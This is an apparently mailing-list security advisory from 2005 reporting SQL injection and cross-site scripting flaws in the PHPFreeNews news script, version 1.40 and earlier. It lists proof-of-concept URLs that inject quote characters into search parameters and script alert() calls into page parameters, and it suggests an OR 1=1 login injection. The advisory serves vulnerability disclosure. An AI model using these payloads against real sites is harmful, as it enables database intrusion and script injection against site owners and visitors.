[UNIX] PHPFreeNews SQL Injection and XSS

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Date: 08/18/05

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      PHPFreeNews SQL Injection and XSS
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    SUMMARY

     <http://www.phpfreenews.co.uk/> PHPFreeNews is "a free PHP Script that
    allows you to display news headlines and articles on your website".

    PHPFreeNews has been found to be vulnerable to numerous SQL Injection and
    Cross Site Scripting vulnerabilities.

    DETAILS

    Vulnerable Systems:
     * PHPFreeNews version 1.40 and prior

    SQL Injection:
    Accessing any of the following URLs:
    http://vulnerable/phpfn/SearchResults.php?Match='&NewsMode=1&
    SearchNews=Search&CatID=0

    http://vulnerable/phpfn/SearchResults.php?Match=1&NewsMode=1&
    SearchNews=Search&CatID='

    http://vulnerable/phpfn/SearchResults.php?Match=%27&NewsMode=1&
    SearchNews=Search&CatID=0

    http://vulnerable/phpfn/SearchResults.php?Match=1&NewsMode=1&
    SearchNews=Search&CatID=%27

    Will cause the server to return the following:
    Warning: mysql_num_rows(): supplied argument is not a valid MySQL result
    resource in \somepath\www\phpfn\Inc\ListingFunctions.php on line 92
    Query failed : You have an error in your SQL syntax.
    Check the manual that corresponds to your MySQL server version for the
    right syntax to use near
    '''' IN BOOLEAN MODE) ORDER BY Sticky DESC, Priority, PostDate

    In addition, accessing the following URL:
    http://vulnerable/phpfn/Inc/AccessControl.php and typing as the username
    and password some SQL injection string like " OR " 1=1 will cause the
    server to return an error.

    Cross Site Scripting:
    Accessing any of the following URLs, will trigger a cross site scripting
    vulnerability in the page being accessed:
    http://vulnerable/phpfn/NewsCategoryForm.php?NewsMode="><script>alert('Found By Matrix_Killer');</script>&CatID=0

    http://vulnerable/phpfn/SearchResults.php?Match='><script>alert('Matrix_Killer OwnZ The World :)');</script>& NewsMode=1&SearchNews=Search&CatID=0

    http://vulnerable/phpfn/SearchResults.php?Match=1&
    NewsMode=1&SearchNews=Search&CatID='><script>alert('Hell Year');</script>

    http://vulnerable/phpfn/SearchResults.php?Match=1&
    NewsMode="><script>alert('0_o
    Please StoP !');</script>&SearchNews=Search&CatID=0

    http://vulnerable/phpfn/SearchResults.php?Match="><script>alert('Matrix_Killer
    -> The bug Hunter <-');</script>& NewsMode=1&SearchNews=Search&CatID=0

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:matrix_k@abv.bg>
    matrix_killer.

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